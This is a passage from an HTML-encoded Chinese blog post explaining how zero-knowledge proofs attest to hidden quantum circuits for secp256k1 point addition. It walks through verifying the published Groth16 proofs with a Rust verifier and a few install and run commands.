2d90adb5b29896493324128b1cda0a0042f7138c850a1ca441210ba770a2eee39d56f6f90bf68b7a346e1658c6529715334621b6e1a
63b85875b8c8a610e0d885662879755803027dad57d97140afb2498bbb63215b236575f95b0019f2b9713bc810e1e044d47ab360e92
b899c46512fc97460609186bf1fe01c892a8015fb00e7fdea11b08f88c6adb79b1243518
</code></pre><p>&#x4EE5;&#x53CA;&#x4F4E;&#x95E8;&#x6570;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x7684;&#x6807;&#x8BC6;&#x7B26;&#xFF1A;</p><pre><code>Circuit SHA-256 Hash:
0x24f5758f2216aa87aa2806af32a0db788767b873cf6869510cca3d893b3f8a69

Groth16 Proof (Hex):
0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a
324528d315674da45d26afb376e867000000000000000000000000000000000000000000000000000000000000000000a11fe07d3af
e9d5e9b5af9fdb37fc38bd529d09b92e08350556a3a38ad03f1b2ed337741ecfeae1a65849d1927cdfc3ea4d211734cd747fc4a5534
449ebfd1e2130fde87661e0e0fba6ec2055c130d875c7fa3358e25e2236e928520eddfa992a9e6510d0635161c62e0e29f4c28921f5
6126a908b286c4d910089780441a5811799d5c7dbf293ac3e6d5f51267efbf95cf8643cb28c5f7c2bac8ee9d4b55c830475b328ff9f
9b257f2383e7934aaab12616e04645bf6a2b9820cafba4fd3830655d676b7ff376817bbd18a178cf091ad4f4e53b2e322a1d75b3e14
00d9b66e1feb401eae0df274d7a774f0bd2fc471ce574348daeaac3ee288dcd282456a33

Verification Key:
0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4
</code></pre><p><strong>&#x7535;&#x8DEF;SHA-256&#x54C8;&#x5E0C;</strong></p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/04/1-YO9aEUkdiLXTmaCVAW5tHQ.png" class="kg-image" alt="&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;: &#x8BA9;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&quot;&#x9690;&#x79C1;&#x5316;&quot;" loading="lazy"></figure><p>&#x9996;&#x5148;&#xFF0C;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x4E3A;&#x6BCF;&#x4E2A;&#x7535;&#x8DEF;&#x521B;&#x5EFA;&#x4E86;<strong>&#x7535;&#x8DEF;SHA-256&#x54C8;&#x5E0C;</strong>&#x3002;</p><p>&#x5305;&#x542B;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x4EE3;&#x7801;&#x7684;KMX&#x6587;&#x4EF6;&#x4F7F;&#x7528;<a href="https://developer.hashicorp.com/terraform/language/functions/sha256?ref=defiplot.com">SHA-256&#x51FD;&#x6570;</a>&#x8F6C;&#x6362;&#x4E3A;&quot;&#x54C8;&#x5E0C;&quot;&#x6216;&#x552F;&#x4E00;&#x7684;66&#x5B57;&#x7B26;&#x5B57;&#x7B26;&#x4E32;&#x3002;SHA-256&#x54C8;&#x5E0C;&#x4E0D;&#x5BB9;&#x6613;&#x88AB;&#x53CD;&#x5411;&#x7834;&#x89E3;&#x4EE5;&#x663E;&#x793A;&#x539F;&#x59CB;&#x6587;&#x672C;&#x3002;</p><p><strong>Groth16&#x8BC1;&#x660E;&#x5B57;&#x8282;&#x548C;&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;</strong></p><p>&#x7136;&#x540E;&#xFF0C;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x521B;&#x5EFA;&#x4E86;&#x4E00;&#x4E2A;<a href="https://dev.risczero.com/terminology?ref=defiplot.com#elf-binary">ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;</a>&#xFF0C;&#x5373;&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;&#x9700;&#x8981;&quot;&#x8BC1;&#x660E;&quot;&#x6216;&#x9A8C;&#x8BC1;&#x7684;&#x89C4;&#x5219;&#x5217;&#x8868;&#x3002;</p><p>ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x662F;&#x4E00;&#x4E2A;<a href="https://riscv.org/?ref=defiplot.com">RISC-V</a>&#x7A0B;&#x5E8F;&#xFF0C;&#x7528;&#x6C47;&#x7F16;&#x8BED;&#x8A00;&#x6216;C/C++&#x7F16;&#x5199;&#xFF0C;&#x4EE3;&#x7801;&#x5FC5;&#x987B;&#x53CD;&#x6620;&#x5982;&#x4E0B;&#x793A;&#x4F8B;&#x9648;&#x8FF0;&#xFF0C;&#x4EE5;&#x8BC1;&#x660E;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x5B58;&#x5728;&#xFF1A;</p><blockquote>&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;&#x9648;&#x8FF0;1&#xFF08;&#x4F4E;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x53D8;&#x4F53;&#xFF09;</blockquote><blockquote>&#x6211;&#x4EEC;&#x62E5;&#x6709;&#x4E00;&#x4E2A;&#x91CF;&#x5B50;kickmix&#x7535;&#x8DEF;C&#x4F4E;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#xFF08;&#x901A;&#x8FC7;&#x5176;&#x52A0;&#x5BC6;&#x54C8;&#x5E0C;&#x552F;&#x4E00;&#x627F;&#x8BFA;&#xFF09;&#xFF0C;&#x8D44;&#x6E90;&#x8BA1;&#x6570;&#x6700;&#x591A;&#x4E3A;&#xFF1A;</blockquote><blockquote>2,700,000&#x4E2A;&#x975E;Clifford&#x95E8;&#xFF08;CCX + CCZ&#xFF09;</blockquote><blockquote>1,175&#x4E2A;&#x903B;&#x8F91;&#x91CF;&#x5B50;&#x6BD4;&#x7279;</blockquote><blockquote>17,000,000&#x6B21;&#x603B;&#x64CD;&#x4F5C;</blockquote><blockquote>&#x5728;&#x692D;&#x5706;&#x66F2;&#x7EBF;secp256k1&#x4E0A;&#x6B63;&#x786E;&#x8BA1;&#x7B97;&#x6240;&#x6709;9,024&#x4E2A;&#x4F2A;&#x968F;&#x673A;&#x8F93;&#x5165;&#x7684;&#x70B9;&#x52A0;&#x6CD5;&#xFF0C;&#x8FD9;&#x4E9B;&#x8F93;&#x5165;&#x662F;&#x786E;&#x5B9A;&#x6027;&#x5730;&#x4ECE;&#x7535;&#x8DEF;&#x81EA;&#x8EAB;&#x7684;&#x54C8;&#x5E0C;&#x6D3E;&#x751F;&#x51FA;&#x6765;&#x7684;&#x3002;</blockquote><p>&#x8FD9;&#x5F15;&#x5165;&#x4E86;&#x4E00;&#x4E2A;&#x91CD;&#x8981;&#x7684;&#x4FE1;&#x4EFB;&#x5047;&#x8BBE;&#x3002;&#x8BFB;&#x8005;&#x5FC5;&#x987B;&#x76F8;&#x4FE1;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x521B;&#x5EFA;&#x4E86;&#x4E00;&#x4E2A;&#x8BDA;&#x5B9E;&#x548C;&#x51C6;&#x786E;&#x7684;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#xFF0C;&#x56E0;&#x4E3A;&#x7535;&#x8DEF;&#x662F;&#x9690;&#x85CF;&#x7684;&#x3002;&#x72EC;&#x7ACB;&#x5BA1;&#x8BA1;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x81F3;&#x5173;&#x91CD;&#x8981;&#xFF0C;&#x4F46;&#x76EE;&#x524D;&#x5C1A;&#x672A;&#x8FDB;&#x884C;&#xFF08;&#x5C3D;&#x7BA1;&#x6211;&#x81EA;&#x5DF1;&#x8003;&#x8651;&#x8FC7;&#x505A;&#x4E00;&#x4E2A;&#xFF1B;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;<a href="https://github.com/NationalSecurityAgency/ghidra?ref=defiplot.com">Ghidra</a>&#x7B49;&#x5DE5;&#x5177;&#x8BC4;&#x4F30;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#xFF09;&#x3002;</p><p>&#x7136;&#x540E;&#xFF0C;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x4F7F;&#x7528;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x548C;&#x7535;&#x8DEF;&#x6765;&#x9A8C;&#x8BC1;&#x7535;&#x8DEF;&#x662F;&#x5426;&#x6EE1;&#x8DB3;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x4E2D;&#x6307;&#x5B9A;&#x7684;&#x6240;&#x6709;&#x89C4;&#x5219;&#x3002;</p><p>&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x4F1A;&#x5728;<a href="https://docs.succinct.xyz/docs/sp1/introduction?ref=defiplot.com">SP1&#x96F6;&#x77E5;&#x8BC6;&#x865A;&#x62DF;&#x673A;</a>(zkVM)&#x4E2D;&#x8FD0;&#x884C;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#xFF0C;&#x5E76;&#x5C06;&#x7535;&#x8DEF;&#x4F5C;&#x4E3A;&#x5176;&#x8F93;&#x5165;&#xFF0C;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x7531;<a href="https://www.succinct.xyz/?ref=defiplot.com">Succinct Labs</a>&#x5F00;&#x53D1;&#x7684;&#x6C99;&#x76D2;&#x8BA1;&#x7B97;&#x73AF;&#x5883;&#xFF0C;&#x6267;&#x884C;&#x6307;&#x4EE4;&#xFF08;&#x5982;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x4E2D;&#x7684;&#x6307;&#x4EE4;&#xFF09;&#xFF0C;&#x9A8C;&#x8BC1;&#x8BA1;&#x7B97;&#xFF0C;&#x5E76;&#x5728;&#x9A8C;&#x8BC1;&#x540E;&#x751F;&#x6210;&#x96F6;&#x77E5;&#x8BC6;&#x5BC6;&#x7801;&#x5B66;&#x8BC1;&#x660E;&#x3002;</p><p>&#x5728;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x9996;&#x5148;&#xFF0C;zkEVM&#x5904;&#x7406;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x5E76;&#x5C06;&#x5176;&#x54C8;&#x5E0C;&#x4EE5;&#x521B;&#x5EFA;<strong>&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;</strong>&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/04/1-hcHjO3SyOizcSS1mFvYHUg.png" class="kg-image" alt="&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;: &#x8BA9;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&quot;&#x9690;&#x79C1;&#x5316;&quot;" loading="lazy"></figure><p>&#x7136;&#x540E;&#xFF0C;zkVM&#x6309;&#x7167;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x6307;&#x4EE4;&#x68C0;&#x67E5;&#x7535;&#x8DEF;&#x662F;&#x5426;&#x6B63;&#x786E;&#x8BA1;&#x7B97;&#x4E86;&#x6240;&#x6709;9,024&#x4E2A;&#x6D4B;&#x8BD5;&#x8F93;&#x5165;&#x7684;&#x692D;&#x5706;&#x66F2;&#x7EBF;&#x70B9;&#x52A0;&#x6CD5;&#x3002;</p><p>&#x9A8C;&#x8BC1;&#x540E;&#xFF0C;zkEVM&#x751F;&#x6210;&#x4E00;&#x4E2A;<a href="https://www.cyfrin.io/blog/a-full-comparison-what-are-zk-snarks-and-zk-starks?ref=defiplot.com">STARK&#x8BC1;&#x660E;</a>&#xFF0C;&#x4E00;&#x4E2A;&#xFF08;&#x662F;&#x7684;&#xFF0C;<a href="https://starkware.co/blog/quantum-computing-is-starknet-prepared/?ref=defiplot.com">&#x540E;&#x91CF;&#x5B50;&#x5B89;&#x5168;</a>&#xFF09;&#x5BC6;&#x7801;&#x5B66;&#x5B57;&#x7B26;&#x4E32;&#xFF0C;&#x786E;&#x8BA4;&#x9A8C;&#x8BC1;&#x5E76;&#x53EF;&#x4E0E;&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;&#x548C;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x4EA4;&#x53C9;&#x68C0;&#x67E5;&#x3002;</p><p>&#x539F;&#x59CB;STARK&#x8BC1;&#x660E;&#x76F8;&#x5BF9;&#x8F83;&#x5927;&#x4E14;&#x9A8C;&#x8BC1;&#x8F83;&#x6162;&#xFF0C;&#x56E0;&#x6B64;&#x5B83;&#x88AB;&#x538B;&#x7F29;&#x4E3A;**<a href="https://docs.succinct.xyz/docs/sp1/generating-proofs/proof-types?ref=defiplot.com#groth16-recommended">Groth16&#x8BC1;&#x660E;&#x5B57;&#x8282;</a>**&#xFF0C;&#x8FD9;&#x662F;&#x4E00;&#x79CD;<a href="https://www.cyfrin.io/blog/a-full-comparison-what-are-zk-snarks-and-zk-starks?ref=defiplot.com#what-is-a-zk-snark-succinct-non-interactive-argument-of-knowledge">SNARK</a>&#xFF08;&#x53E6;&#x4E00;&#x7C7B;&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;&#xFF09;&#x7684;&#x7248;&#x672C;&#xFF0C;&#x66F4;&#x5C0F;&#x4E14;&#x9A8C;&#x8BC1;&#x6210;&#x672C;&#x66F4;&#x4F4E;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/04/1-5xgARUsktGAnyj9kR4oZfw.png" class="kg-image" alt="&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;: &#x8BA9;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&quot;&#x9690;&#x79C1;&#x5316;&quot;" loading="lazy"></figure><p>&#x4EFB;&#x4F55;&#x4EBA;&#x90FD;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;<strong>Groth16&#x8BC1;&#x660E;&#x5B57;&#x8282;</strong>&#x548C;<strong>&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;</strong>&#x5728;&#x7B2C;2&#x6B65;&#x4E2D;&#x5728;&#x6BEB;&#x79D2;&#x5185;&#x9A8C;&#x8BC1;&#x7ED3;&#x679C;&#xFF0C;&#x65E0;&#x9700;&#x539F;&#x59CB;&#x7535;&#x8DEF;&#x3001;&#x91CD;&#x65B0;&#x8BA1;&#x7B97;&#x6216;&#x4FE1;&#x4EFB;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x3002;</p><h2 id="5%E3%80%81%E5%A6%82%E4%BD%95%E7%8B%AC%E7%AB%8B%E9%AA%8C%E8%AF%81%E8%AF%81%E6%98%8E">5&#x3001;&#x5982;&#x4F55;&#x72EC;&#x7ACB;&#x9A8C;&#x8BC1;&#x8BC1;&#x660E;</h2><p>&#x9A8C;&#x8BC1;&#x8BC1;&#x660E;&#x7684;&#x6700;&#x7B80;&#x5355;&#x65B9;&#x6CD5;&#x662F;&#x4F7F;&#x7528;<a href="https://zenodo.org/records/19196956?ref=defiplot.com">&#x516C;&#x5171;Zenodo&#x6863;&#x6848;</a>&#x4E2D;&#x63D0;&#x4F9B;&#x7684;&#x6807;&#x8BC6;&#x7B26;&#x548C;&#x9A8C;&#x8BC1;&#x7A0B;&#x5E8F;&#xFF0C;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x7528;&#x4E8E;&#x7814;&#x7A76;&#x548C;&#x6570;&#x636E;&#x7684;&#x901A;&#x7528;&#x5F00;&#x653E;&#x5B58;&#x50A8;&#x5E93;&#xFF0C;&#x53EF;&#x5728;&#x4EFB;&#x4F55;&#x5178;&#x578B;&#x8BA1;&#x7B97;&#x673A;&#x4E0A;&#x4F7F;&#x7528;&#x3002;&#x6211;&#x5728;Mac&#x7B14;&#x8BB0;&#x672C;&#x7535;&#x8111;&#x4E0A;&#x8FD0;&#x884C;&#x4E86;&#x5373;&#x5C06;&#x4ECB;&#x7ECD;&#x7684;&#x7EC8;&#x7AEF;&#x547D;&#x4EE4;&#x3002;</p><p>&#x9A8C;&#x8BC1;&#x8BC1;&#x660E;&#x786E;&#x8BA4;&#x5B58;&#x5728;&#x6EE1;&#x8DB3;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x4E2D;&#x5B9A;&#x4E49;&#x7684;&#x8981;&#x6C42;&#x7684;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x3002;&#x8FD9;&#x4E9B;&#x8981;&#x6C42;&#x662F;&#x89E3;&#x51B3;9,024&#x4E2A;&#x692D;&#x5706;&#x66F2;&#x7EBF;&#x52A0;&#x6CD5;&#x95EE;&#x9898;&#xFF0C;&#x5728;Google&#x91CF;&#x5B50;AI&#x767D;&#x76AE;&#x4E66;&#x4E2D;&#x63CF;&#x8FF0;&#x7684;&#x4F4E;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x548C;&#x4F4E;&#x95E8;&#x6570;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x6307;&#x5B9A;&#x7684;&#x8D44;&#x6E90;&#x9650;&#x5236;&#x5185;&#x3002;</p><p>&#x5B83;&#x4E0D;&#x80FD;&#x786E;&#x8BA4;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x5DF2;&#x6210;&#x529F;&#x5728;&#x91CF;&#x5B50;&#x8BA1;&#x7B97;&#x673A;&#x4E0A;&#x6267;&#x884C;&#xFF08;&#x4E8B;&#x5B9E;&#x5E76;&#x975E;&#x5982;&#x6B64;&#xFF09;&#xFF0C;&#x4E5F;&#x4E0D;&#x80FD;&#x786E;&#x8BA4;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x672C;&#x8EAB;&#x5305;&#x542B;&#x6B63;&#x786E;&#x7684;&#x9A8C;&#x8BC1;&#x903B;&#x8F91;&#x3002;</p><p><strong>&#x7B2C;1&#x6B65;&#xFF1A;&#x4ECE;<a href="https://zenodo.org/records/19196956?ref=defiplot.com">&#x63D0;&#x4F9B;&#x7684;Zenodo&#x6863;&#x6848;</a>&#x4E0B;&#x8F7D;zkp_ecc_zenodo.zip&#x5E76;&#x89E3;&#x538B;&#x3002;</strong></p><p>&#x76EE;&#x5F55;&#x7ED3;&#x6784;&#x5E94;&#x5305;&#x542B;&#xFF1A;</p><pre><code>zkp_ecc_zenodo/
&#x251C;&#x2500;&#x2500; verifier/
&#x2502; &#x251C;&#x2500;&#x2500; verifier.rs &#x2190; &#x9A8C;&#x8BC1;&#x7A0B;&#x5E8F;
&#x2502; &#x2514;&#x2500;&#x2500; Cargo.toml &#x2190; &#x5176;&#x4F9D;&#x8D56;&#x9879;
&#x251C;&#x2500;&#x2500; proofs/
&#x2502; &#x251C;&#x2500;&#x2500; zkp_ecc-program &#x2190; ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;
&#x2502; &#x251C;&#x2500;&#x2500; vkey.bin &#x2190; &#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;
&#x2502; &#x251C;&#x2500;&#x2500; low_qubits/
&#x2502; &#x2502; &#x2514;&#x2500;&#x2500; proof_9024.bin &#x2190; &#x4F4E;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x7535;&#x8DEF;&#x7684;&#x8BC1;&#x660E;
&#x2502; &#x2514;&#x2500;&#x2500; low_toffoli/
&#x2502; &#x2514;&#x2500;&#x2500; proof_9024.bin &#x2190; &#x4F4E;&#x95E8;&#x6570;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x7684;&#x8BC1;&#x660E;
&#x2514;&#x2500;&#x2500; run_proofs.sh &#x2190; &#x7528;&#x4E8E;&#x91CD;&#x65B0;&#x751F;&#x6210;&#x8BC1;&#x660E;&#x7684;&#x811A;&#x672C;&#xFF08;&#x9700;&#x8981;GPU&#xFF09;
</code></pre><p>&#x4E94;&#x4E2A;&#x6700;&#x91CD;&#x8981;&#x7684;&#x6587;&#x4EF6;&#x662F;&#xFF1A;</p><ul><li>proofs/zkp_ecc-program&#xFF1A;<strong>ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;</strong></li><li>proofs/vkey.bin&#xFF1A;<strong>&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;</strong></li><li>proofs/low_qubits/proof_9024.bin&#xFF1A;<strong>&#x4F4E;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x7535;&#x8DEF;</strong>&#x7684;<strong>Groth16&#x8BC1;&#x660E;&#x5B57;&#x8282;</strong></li><li>proofs/low_toffoli/proof_9024.bin&#xFF1A;<strong>&#x4F4E;&#x95E8;&#x6570;&#x91CF;&#x5B50;&#x7535;&#x8DEF;</strong>&#x7684;<strong>Groth16&#x8BC1;&#x660E;&#x5B57;&#x8282;</strong></li><li>verifier.rs&#xFF1A;<strong>&#x9A8C;&#x8BC1;&#x7A0B;&#x5E8F;</strong>&#xFF0C;&#x5C06;&#x5728;&#x4EE5;&#x4E0B;&#x7AE0;&#x8282;&#x4E2D;&#x8FDB;&#x4E00;&#x6B65;&#x89E3;&#x91CA;</li></ul><p><strong>&#x7B2C;2&#x6B65;&#xFF1A;&#x5B89;&#x88C5;&#x4F9D;&#x8D56;&#x9879;</strong></p><p>&#x9A8C;&#x8BC1;&#x5668;&#x662F;&#x7528;Rust&#x7F16;&#x5199;&#x7684;&#xFF0C;&#x4F9D;&#x8D56;&#x4E8E;SP1 SDK&#xFF0C;&#x540E;&#x8005;&#x4F9D;&#x8D56;&#x4E8E;protobus&#x4F5C;&#x4E3A;&#x5176;&#x6570;&#x636E;&#x5E8F;&#x5217;&#x5316;&#x683C;&#x5F0F;&#x3002;</p><pre><code>brew install protobuf
</code></pre><p><strong>&#x7B2C;3&#x6B65;&#xFF1A;&#x67E5;&#x770B;verifier.rs&#xFF0C;&#x9A8C;&#x8BC1;&#x7A0B;&#x5E8F;</strong></p><p>&#x9A8C;&#x8BC1;&#x7A0B;&#x5E8F;&#x4F4D;&#x4E8E;verifier/verifier.rs&#xFF0C;&#x786E;&#x8BA4;zk&#x8BC1;&#x660E;&#x5BF9;&#x5E94;&#x4E8E;&#x9A8C;&#x8BC1;&#x903B;&#x8F91;&#x7684;&#x6709;&#x6548;&#x6267;&#x884C;&#x3002;</p><p>&#x6362;&#x53E5;&#x8BDD;&#x8BF4;&#xFF0C;&#x5B83;&#x9A8C;&#x8BC1;&#x7535;&#x8DEF;&#x662F;&#x5426;&#x6309;&#x7167;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x8FDB;&#x884C;&#x4E86;&#x8BC4;&#x4F30;&#xFF0C;&#x5E76;&#x6EE1;&#x8DB3;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x58F0;&#x79F0;&#x7684;&#x89C4;&#x8303;&#xFF0C;&#x5982;&quot;&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;&#x662F;&#x5982;&#x4F55;&#x521B;&#x5EFA;&#x7684;&quot;&#x90E8;&#x5206;&#x6240;&#x89E3;&#x91CA;&#x7684;&#x3002;</p><p>&#x5B83;&#x901A;&#x8FC7;&#x6839;&#x636E;&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;&#x68C0;&#x67E5;Groth16&#x8BC1;&#x660E;&#x5B57;&#x8282;&#x6765;&#x5B9E;&#x73B0;&#x8FD9;&#x4E00;&#x70B9;&#xFF0C;&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;&#x662F;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x7EA6;&#x675F;&#x7684;&#x538B;&#x7F29;&#x8868;&#x793A;&#x3002;</p><p>&#x9996;&#x5148;&#xFF0C;&#x5B83;&#x8BFB;&#x53D6;&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;&#xFF1A;</p><pre><code>let vk_bytes = std::fs::read(&amp;vkey_path).expect(&quot;failed to read vkey file&quot;);
</code></pre><p>&#x7136;&#x540E;&#xFF0C;&#x5B83;&#x52A0;&#x8F7D;Groth16&#x8BC1;&#x660E;&#x5B57;&#x8282;&#xFF1A;</p><pre><code>let mut proof = SP1ProofWithPublicValues::load(&amp;args.proof).expect(&quot;failed to load proof&quot;);
</code></pre><p>&#x5B83;&#x4F7F;&#x7528;SP1 SDK&#x6839;&#x636E;&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;&#x9A8C;&#x8BC1;&#x8BC1;&#x660E;&#x3002;</p><pre><code>client.verify(&amp;proof, &amp;vk, None).expect(&quot;failed to verify proof&quot;);
</code></pre><p>&#x5982;&#x679C;&#x9A8C;&#x8BC1;&#x6210;&#x529F;&#xFF0C;&#x5B83;&#x5C06;&#x8FD4;&#x56DE;&#x5982;&#x7B2C;5&#x6B65;&#x6240;&#x793A;&#x7684;&#x8F93;&#x51FA;&#x3002;</p><p><strong>&#x7B2C;4&#x6B65;&#xFF1A;&#x8FD0;&#x884C;&#x9A8C;&#x8BC1;&#x5668;</strong></p><p>&#x4E00;&#x65E6;&#x7406;&#x89E3;&#x4E86;&#x9A8C;&#x8BC1;&#x903B;&#x8F91;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x6267;&#x884C;&#x7A0B;&#x5E8F;&#x6765;&#x68C0;&#x67E5;&#x8BC1;&#x660E;&#x3002;</p><p>&#x9A8C;&#x8BC1;&#x7A0B;&#x5E8F;&#x9700;&#x8981;&#x4E24;&#x4E2A;&#x8F93;&#x5165;&#xFF1A;Groth16&#x8BC1;&#x660E;&#x5B57;&#x8282;&#x548C;&#x7279;&#x5B9A;&#x7535;&#x8DEF;&#x7684;&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;&#x3002;</p><p><strong>&#x4F4E;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x7535;&#x8DEF;</strong></p><p>&#x5BF9;&#x4E8E;&#x4F4E;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x7535;&#x8DEF;&#xFF0C;<strong>Groth16&#x8BC1;&#x660E;&#x5B57;&#x8282;</strong>&#x5B58;&#x50A8;&#x5728;<strong>proofs/low_qubits/proof_9024.bin</strong>&#x4E2D;&#x3002;&#x5728;<strong>zkp_ecc_zenodo</strong>&#x6587;&#x4EF6;&#x5939;&#x4E2D;&#x8FD0;&#x884C;&#x4EE5;&#x4E0B;&#x547D;&#x4EE4;&#x4EE5;&#x9A8C;&#x8BC1;&#x4F4E;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x7535;&#x8DEF;&#xFF1A;</p><pre><code>RUST_LOG=info cargo run --release -p verifier -- \
--proof proofs/low_qubits/proof_9024.bin \
--vkey proofs/vkey.bin
</code></pre><p><strong>&#x4F4E;&#x95E8;&#x6570;&#x91CF;&#x5B50;&#x7535;&#x8DEF;</strong></p><p>&#x5BF9;&#x4E8E;&#x4F4E;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x7535;&#x8DEF;&#xFF0C;<strong>Groth16&#x8BC1;&#x660E;&#x5B57;&#x8282;</strong>&#x5B58;&#x50A8;&#x5728;<strong>proofs/low_toffoli/proof_9024.bin</strong>&#x4E2D;&#x3002;&#x5728;<strong>zkp_ecc_zenodo&#x6587;&#x4EF6;&#x5939;</strong>&#x4E2D;&#x8FD0;&#x884C;&#x4EE5;&#x4E0B;&#x547D;&#x4EE4;&#x4EE5;&#x9A8C;&#x8BC1;&#x4F4E;&#x95E8;&#x6570;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#xFF1A;</p><pre><code>RUST_LOG=info cargo run --release -p verifier -- \
--proof proofs/low_toffoli/proof_9024.bin \
--vkey proofs/vkey.bin
</code></pre><p><strong>&#x7B2C;5&#x6B65;&#xFF1A;&#x67E5;&#x770B;&#x8F93;&#x51FA;</strong></p><p>&#x5982;&#x679C;&#x9A8C;&#x8BC1;&#x6210;&#x529F;&#xFF0C;&#x9A8C;&#x8BC1;&#x7A0B;&#x5E8F;&#x786E;&#x8BA4;zk&#x8BC1;&#x660E;&#x5BF9;&#x5E94;&#x4E8E;&#x9A8C;&#x8BC1;&#x903B;&#x8F91;&#x7684;&#x6709;&#x6548;&#x6267;&#x884C;&#x5E76;&#x8FD4;&#x56DE;&#x8F93;&#x51FA;&#x3002;</p><p>&#x8F93;&#x51FA;&#x5E94;&#x5339;&#x914D;&#x6BCF;&#x4E2A;&#x7535;&#x8DEF;&#x63D0;&#x4F9B;&#x7684;&#x5143;&#x6570;&#x636E;&#x3002;</p><p>&#x2705; &#x4F4E;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x7535;&#x8DEF;&#xFF1A;</p><ul><li><strong>&#x7535;&#x8DEF;SHA-256&#x54C8;&#x5E0C;</strong> / <strong>&#x7535;&#x8DEF;&#x54C8;&#x5E0C;&#x627F;&#x8BFA;&#xFF1A;</strong>0xcc8f532ffea1583ceed3c9af75de3263ebaddd5fdf3cddfb3dea848b94d0396a</li><li><strong>&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;</strong> / <strong>&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;&#xFF08;&#x5341;&#x516D;&#x8FDB;&#x5236;&#xFF09;&#xFF09;&#xFF1A;</strong>0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4</li><li><strong>&#x975E;Clifford&#x95E8;</strong> / <strong>&#x8981;&#x6C42;&#x7684;&#x5E73;&#x5747;&#x975E;Clifford&#x8BA1;&#x6570;</strong>&#xFF1A;2,700,000</li><li><strong>&#x903B;&#x8F91;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x8BA1;&#x6570;</strong> / 